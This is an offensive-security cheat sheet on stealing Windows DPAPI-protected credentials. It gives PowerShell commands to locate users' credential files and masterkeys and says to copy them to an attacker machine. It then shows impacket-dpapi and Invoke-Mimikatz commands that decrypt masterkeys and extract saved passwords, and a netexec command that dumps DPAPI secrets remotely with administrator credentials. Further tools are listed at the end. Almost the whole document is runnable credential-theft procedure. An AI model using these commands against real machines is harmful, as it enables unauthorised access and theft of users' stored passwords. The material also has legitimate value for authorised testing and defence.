# DPAPI

## From Low Users

### Manual Approach

Locating credential files:

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```powershell
dir /A C:\Users\yuyudhn\AppData\Local\Microsoft\Credentials\
dir /A C:\Users\yuyudhn\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Force C:\Users\yuyudhn\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Force C:\Users\yuyudhn\AppData\Roaming\Microsoft\Credentials\
```

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Locating masterkeys:

```powershell
dir /A C:\Users\yuyudhn\AppData\Roaming\Microsoft\Protect\
dir /A C:\Users\yuyudhn\AppData\Local\Microsoft\Protect\
Get-ChildItem -Force C:\Users\yuyudhn\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Force C:\Users\yuyudhn\AppData\Local\Microsoft\Protect\
```

Usually, the structure is like this:

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```
C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID
```

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Download all credential files and masterkeys to attacker machine. And then extract the credentials using impacket-dpapi.

Decrypt masterkey

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```bash
impacket-dpapi masterkey -file $masterkey -sid $SID -password Password1213!
```

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Or if you have the backup key:

```bash
impacket-dpapi masterkey -file $masterkey -sid $SID -pvk key.pvk
```

Grab credentials:

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```bash
impacket-dpapi credential -file $credsfile -key $decryptedkey
```

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### Mimikatz

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```powershell
Invoke-Mimikatz -Command '"dpapi::masterkey /in:C:\Users\yuyudhn\AppData\Roaming\Microsoft\Protect\$SID\$GID /sid:$SID /password:Password1337 /protected" "exit"'
```

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```powershell
Invoke-Mimikatz -Command '"dpapi::cred /in:C:\Users\yuyudhn\AppData\Roaming\Microsoft\Credentials\$credsfile /masterkey:$decryptedkey"'
```

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## From Administrator

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```bash
netexec smb target.local -u Administrator -p Password123 --local-auth --dpapi
```

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## Other tools

* [**DonPAPI**](https://github.com/login-securite/DonPAPI)
* [**dploot**](https://github.com/zblurx/dploot)
* [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI)


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